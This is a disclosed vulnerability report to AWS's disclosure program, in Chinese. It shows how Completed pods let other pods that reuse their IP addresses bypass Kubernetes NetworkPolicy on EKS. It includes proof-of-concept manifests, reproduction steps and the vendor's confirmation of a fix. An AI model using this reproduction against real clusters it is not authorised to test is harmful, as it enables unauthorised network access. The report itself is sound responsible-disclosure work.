AWS VDP | 报告 #3328291 - 已完成Pod的存在允许绕过Kubernetes网络策略

Timeline savannabungee 向 AWS VDP 提交了一份报告。 September 5, 2025, 11:23am UTC

Description 当配置为管理网络策略（NetworkPolicy）规则时，Amazon VPC CNI 控制器会错误地像 Pod 仍在运行一样，为已完成（Completed）状态的 Pod 应用防火墙规则，导致这些规则被应用于其他恰好分配到与已完成 Pod 相同 IP 地址的不相关 Pod。

例如，假设有一个 IP 地址为 X 的 Pod A。Pod A 被允许通过 NetworkPolicy 进行某些访问，VPC CNI 控制器通过在节点上为 IP 地址 X 添加防火墙规则来实现这一点。当 Pod A 完成时（例如，如果它是一个 Job），这些防火墙规则不会被移除。由于 Pod 已完成，其他 Pod 可以自由地获取相同的 IP 地址。如果一个未被 NetworkPolicy 授予任何访问权限的 Pod B 被分配了相同的 IP 地址 X，那么 Pod B 将继承 Pod A 曾经拥有的网络访问权限，直到已完成的 Pod A 被删除。

正确的行为应该是检查 Pod 是否完成，并将 Pod 完成视为与 Pod 删除相同，在 Pod 完成时移除防火墙规则。

受影响版本 我在 EKS 版本 1.33 上测试了此问题：

• 启用网络策略控制器的自动模式（auto mode）
• 非自动模式，使用 VPC CNI 插件 v1.19.5-eksbuild.1
• 非自动模式，使用 VPC CNI 插件 v1.20.1-eksbuild.3

严格模式（Strict mode）没有影响。

POC 在启用了自动模式，或者 VPC CNI 控制器 enableNetworkPolicy 设置为 true 的 EKS 集群上，应用以下准备性 Kubernetes 资源：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

---
apiVersion: v1
kind: Namespace
metadata:
  name: networkpolicy-test
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: whoami
  namespace: networkpolicy-test
spec:
  replicas: 1
  selector:
    matchLabels:
      app: whoami
  template:
    metadata:
      labels:
        app: whoami
    spec:
      containers:
        - name: whoami
          image: traefik/whoami:latest
          ports:
            - containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
  name: whoami
spec:
  ports:
    - port: 80
      targetPort: 80
      protocol: TCP
  selector:
    app: whoami
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ingress
  namespace: networkpolicy-test
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          test: allowed
    ports:
    - protocol: TCP
      port: 80

此 NetworkPolicy 配置将允许以下 Job 连接到 Deployment：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

---
apiVersion: batch/v1
kind: Job
metadata:
  name: allowed
  namespace: networkpolicy-test
spec:
  template:
    metadata:
      name: curl
      labels:
        test: allowed
    spec:
      containers:
        - name: curl
          image: "alpine/curl:latest"
          command: ["curl", "-v", "whoami.networkpolicy-test.svc.cluster.local:80"]
      restartPolicy: Never

但以下 Job 将被阻止并超时：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

---
apiVersion: batch/v1
kind: Job
metadata:
  name: blocked
  namespace: networkpolicy-test
spec:
  template:
    metadata:
      name: curl
      labels:
        test: blocked
    spec:
      containers:
        - name: curl
          image: "alpine/curl:latest"
          command: ["curl", "-v", "whoami.networkpolicy-test.svc.cluster.local:80"]
      restartPolicy: Never

然而，如果存在一个处于 Completed 状态的 allowed Job，blocked Pod 就有机会分配到与已完成的 allowed Pod 相同的 IP 地址。当这种情况发生时，blocked Pod 将能够违反 NetworkPolicy，访问 Deployment。

为了便于复现，我建议应用附件中的 █████████ 文件来创建 20 个 allowed Jobs。等待所有 20 个 Jobs 完成，然后应用附件中的 ██████████ 来创建 20 个 blocked Jobs。几乎可以肯定，一些 blocked Pod 会被分配与已完成的 allowed Pod 相匹配的 IP 地址，因此将能够成功连接到 Deployment 并成功退出。一些 blocked Pod 将被分配不同的 IP 地址，因此将正确地无法连接到 Deployment，挂起然后报错。

Impact 摘要：在依赖 Kubernetes NetworkPolicy 规则来限制网络访问的 EKS 集群上，存在被允许某些访问的 Completed Pod 将导致其他 Pod 被授予相同的访问权限。

savannabungee 更新了漏洞信息。 September 5, 2025, 11:27am UTC

h1_analyst_lucas HackerOne triage 将状态更改为 需要更多信息。 Updated 8 days ago

你好 ████████，

感谢您的报告。我们感谢您在披露此事上投入的时间和精力。

虽然您的报告提供了有关此安全问题有价值的高层信息，但我们需要更多详细信息来正确验证和分类此问题。由于我们的安全团队需要从头开始复现此问题，因此我们将极大地受益于更全面的设置和验证说明。

请您提供：

• 用于测试此问题所需的初始设置的详细分步说明。
• 完整的复现步骤，假设读者对此特定问题没有先验知识。
• 关于如何验证存在（且不对系统造成任何损害）的问题的明确指导。
• 关于安全影响的更具体细节，包括：
  • 机密性：具体暴露了哪些数据或信息？
  • 完整性：系统完整性如何受到影响？
  • 可用性：对服务可用性的潜在影响是什么？

再次感谢您向我们提请此问题。我们期待您的回复，以便我们能够正确评估和处理此问题。

此致， ███████

savannabungee 将状态更改为 新建。 Updated 8 days ago

你好 ███████，当然我很乐意尝试帮助提供更详细的设置说明。这些步骤以简单的术语解释了初始环境设置（步骤 1-3）、漏洞复现（步骤 4、6 和 7）以及如何验证问题已复现（步骤 8）。

分步指南 如果没有可用的、配置了 VPC CNI 控制器来管理 NetworkPolicies 的现有 Kubernetes 集群，那么设置带有 VPC CNI 控制器环境的最简单方法是创建一个启用了自动模式的新 EKS 集群。对于大部分初始设置，标准的 AWS 指南就足够了，因此我将引用这些指南。

1. 创建启用自动模式的 EKS 集群：https://docs.aws.amazon.com/eks/latest/userguide/create-cluster-auto.html 如果通过 AWS 控制台操作：
   • 1.1 为集群命名任意名称。
   • 1.2 使用“创建推荐角色”按钮创建集群角色（可命名任意名称）。
   • 1.3 在集群设置页面选择创建的集群角色。
   • 1.4 所有其他设置可保留默认值。
2. 集群创建完成后，配置 kubectl：https://docs.aws.amazon.com/eks/latest/userguide/create-kubeconfig.html
   • 2.1 使用 aws CLI 最容易做到：https://docs.aws.amazon.com/cli/latest/userguide/getting-started-quickstart.html
   • 2.2 然后应该可以简单地运行 aws eks update-kubeconfig --name <在步骤 1 中创建的集群名称>
3. 启用网络策略管理（参考：https://docs.aws.amazon.com/eks/latest/userguide/auto-net-pol.html）
   • 3.1 运行 kubectl apply -f enable-network-policy.yaml
   • 3.2 运行 kubectl patch nodeclass default --type=merge -p '{"spec":{"networkPolicyEventLogs":"Enabled"}}'
   • 3.3 （此步骤可能不是必需的）它可能不会对现有节点生效，因此为了以防万一，通过运行 kubectl drain -l karpenter.sh/nodepool=general-purpose --ignore-daemonsets --delete-emptydir-data 排空所有现有节点。
4. 通过运行 kubectl apply -f setup.yaml 来设置测试 Kubernetes 命名空间和资源。
5. 验证 Kubernetes NetworkPolicies 是否在集群上正常工作。
   • 5.1 运行 kubectl apply -f blocked-job.yaml
   • 5.2 使用 kubectl get pod -n networkpolicy-test -l test=blocked 检查创建的 Pod 的状态。最初它将显示状态为 Running，然后在超时后将显示状态为 Error。存在状态为 Error 的 Pod 表明 Kubernetes 集群上启用了 NetworkPolicy 管理。存在状态为 Completed 的 Pod 表明集群上未正确配置 NetworkPolicy 管理（返回步骤 3）
   • 5.3 通过运行 kubectl delete job -n networkpolicy-test blocked 清理 Job。
6. 创建那些被允许连接到 whoami 部署的 Jobs。
   • 6.1 运行 kubectl apply -f ████
   • 6.2 所有 Jobs 都应该启动并在没有错误的情况下完成（即显示状态为 Completed），这可以通过 kubectl get pod -n networkpolicy-test 或 kubectl get job -n networkpolicy-test 检查。
7. 创建那些应该被 NetworkPolicy 阻止的 Jobs。
   • 7.1 运行 kubectl apply -f blocked-job20.yaml
   • 7.2 稍等片刻，让所有 Pod 启动。
8. 验证
   • 8.1 使用 kubectl get pod -n networkpolicy-test -l test=blocked 检查 blocked Pod 的状态。
   • 8.2 所有 blocked Pod 原本应该被配置的 NetworkPolicy 阻止。如果一些 Pod 显示状态为 Completed，而其他 Pod 显示状态为 Error 或 Running，则漏洞得到确认。
   • 8.3 为了进一步确认漏洞，通过运行 kubectl get pod -n networkpolicy-test -o wide 检查 Pod 的 IP 地址。所有 IP 地址与一个或多个 allowed Pod 的 IP 地址冲突的 blocked Pod 应该显示状态为 Completed。任何 IP 地址与 allowed Pod 的 IP 地址不匹配的 blocked Pod 应该显示状态为 Error 或 Running。

Impact

• 同一 Kubernetes 集群上的 Pod 能够访问本应被 NetworkPolicy 规则（防火墙绕过）阻止的网络端点。
• 具体来说，NetworkPolicy 规则被错误地随机应用（基于 IP 地址分配）。一些 Pod 将被授予它们本不应拥有的访问权限。这实际上使 EKS 中的 NetworkPolicy 规则失效。
  • 机密性：具体暴露了哪些数据或信息？
    • 依赖网络控制来保护数据的 EKS 中运行的服务，其数据可能被暴露。
  • 完整性：系统完整性如何受到影响？
    • 依赖 NetworkPolicy 规则来防止未授权访问端点的服务可能被访问。
  • 可用性：对服务可用性的潜在影响是什么？
    • 基本不适用。

h1_analyst_lucas HackerOne triage 将严重性从中等 (4.4) 更新为中等 (4.3)。 September 7, 2025, 6:58am UTC

根据 POC 中提供的证据，我认为严重性显示了以下影响： 同一 Kubernetes 集群上的 Pod 能够访问它们本应被 NetworkPolicy 规则阻止的网络端点，实际上造成了防火墙绕过。因此，适用中等严重性。 请注意，在团队基于补偿性控制和上下文做出最终评估后，这可能会改变。

h1_analyst_lucas HackerOne triage 将状态更改为 待项目方审核。 Updated 8 days ago

你好 ██████，

感谢您的提交！我们能够验证您的报告，并已将其提交给相应的修复团队进行审核。他们将告知我们关于此报告的最终裁决，以及何时/是否会实施修复。请注意，状态和严重性可能会发生变化。

谢谢， ████████

gabagh00l418 AWS VDP staff 发布了一条评论。 Updated 8 days ago

你好 ████████，

我是负责协调漏洞披露的 AWS VDP 团队成员。感谢您向我们提请您的关切。我们目前正在审核您的报告，并将根据情况进展每月向您提供更新。

同时，如果您有任何疑问，欢迎告知我。

此致， ████

gabagh00l418 AWS VDP staff 将状态更改为 已分类。 Updated 8 days ago

你好 ████████，

感谢您的提交！我们能够验证您的报告，并且正在制定相应的修复措施。

在我们进行修复的同时，我们还想确认您是否计划在任何期刊或其他平台上发表您的发现。如果是，我们很乐意与您合作。

感谢您协助我们帮助保护客户的安全。如果您有任何进一步的问题、意见或疑虑，请随时与我们联系。

此致， ███████

savannabungee 发布了一条评论。 September 22, 2025, 1:18pm UTC

谢谢。当您认为适当时，如果能使报告公开，我将不胜感激。 我看到该问题已在代码库中修复，关于何时部署修复以及用户是否需要采取任何措施的指导将不胜感激。

gabagh00l418 AWS VDP staff 发布了一条评论。 Updated 8 days ago

你好 █████，

感谢您在我们完成修复过程中的耐心等待。我很高兴地通知您，我们已经完成了对所有 EKS 区域的修复部署，并且客户无需采取任何操作即可使用该修复。在披露之前，我们将完成标准准备流程。一旦报告公开，我将通知您。

此致， ████████

gabagh00l418 AWS VDP staff 关闭了报告并将状态更改为 已解决。 Updated 8 days ago

你好 █████████ 感谢您的耐心等待。我们已经完成了剩余流程，现在我将着手解决此案例并努力使此报告公开。

此致， ████

gabagh00l418 AWS VDP staff 请求披露此报告。 8 days ago

gabagh00l418 AWS VDP staff 披露了此报告。 8 days ago